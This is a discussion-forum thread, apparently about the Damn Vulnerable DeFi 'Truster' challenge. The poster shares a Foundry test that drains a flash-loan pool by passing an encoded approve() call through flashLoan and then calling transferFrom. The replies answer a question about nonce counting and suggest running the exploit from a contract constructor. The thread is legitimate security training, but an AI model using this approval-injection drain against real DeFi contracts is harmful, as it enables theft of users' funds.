Truster::getNonce says I have 0 txn #71
-
I managed to solve the Truster challenge but I though that it took me two transactions. But to my surprise it says I made 0... If anyone can look at the code and perhaps nudge me into a direction I'd love that: function test_truster() public checkSolvedByPlayer {
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", player, TOKENS_IN_POOL);
pool.flashLoan(0, player, address(token), data);
token.transferFrom(address(pool), player, TOKENS_IN_POOL);
console.log("player nonce", vm.getNonce(player));
}
|
Beta Was this translation helpful? Give feedback.
Replies: 2 comments
-
Interesting, I did this challenge a while back, but I solved it by just deploying contract and completing it in constructor. It counted as tx for me. |
Beta Was this translation helpful? Give feedback.
-
The nonce stuff is relate to a problem with Foundry, being discussed here #57. The single-transaction solution can be done with solving the challenge in the constructor of a contract. |
Beta Was this translation helpful? Give feedback.
The nonce stuff is relate to a problem with Foundry, being discussed here #57. The single-transaction solution can be done with solving the challenge in the constructor of a contract.